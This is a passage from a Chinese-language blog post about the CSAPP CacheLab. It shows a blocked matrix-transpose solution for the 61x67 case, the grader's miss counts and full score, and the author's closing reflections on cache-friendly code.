if (M == 61) { // 61x67 for (i = 0; i < N; i += 8) { for (j = 0; j < M; j += 15) { if (i + 8 <= N && j + 15 <= M) { for (s = j; s < j + 15; s++) { a = A[i][s]; b = A[i+1][s]; c = A[i+2][s]; d = A[i+3][s]; e = A[i+4][s]; f = A[i+5][s]; g = A[i+6][s]; h = A[i+7][s]; B[s][i] = a; B[s][i+1] = b; B[s][i+2] = c; B[s][i+3] = d; B[s][i+4] = e; B[s][i+5] = f; B[s][i+6] = g; B[s][i+7] = h; } } else { // Simple row-wise scan transpose for (s = i; s < min(i+8, N); s++) { for (k = j; k < min(j+15, M); k++) { B[k][s] = A[s][k]; } } } } } }
测试结果如下,misses = 1777小于2000,满分。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 61 -N 67 Function 0 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (Transpose submission): hits:6402, misses:1777, evictions:1745
为什么8x15分块要比8x8分块好?我还不太清楚,以后再慢慢思考吧,看网上说分块的单位一般是一个经验值,难懂。
PartB的完整代码可参考https://github.com/Lyb-code/CSAPP-Labs/blob/master/CacheLab/cachelab-handout/trans.c
完成PartA和PartB后,可以实验driver.py进行整体测试,如下:
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./driver.py
Cache Lab summary:
Points Max pts Misses
Csim correctness 27.0 27
Trans perf 32x32 8.0 8 259
Trans perf 64x64 8.0 8 1107
Trans perf 61x67 10.0 10 1777
Total points 53.0 53
2 总结
实验总时长:38.5h。
CacheLab让我熟悉了Cache的结构,明白了如何写出缓存友好的代码。Blocking确实能大大提高局部性。虽然PartB让我心累,没思路啊,但这个Lab设计得很好、很有意思,尤其是让我见识了如何定量分析miss次数。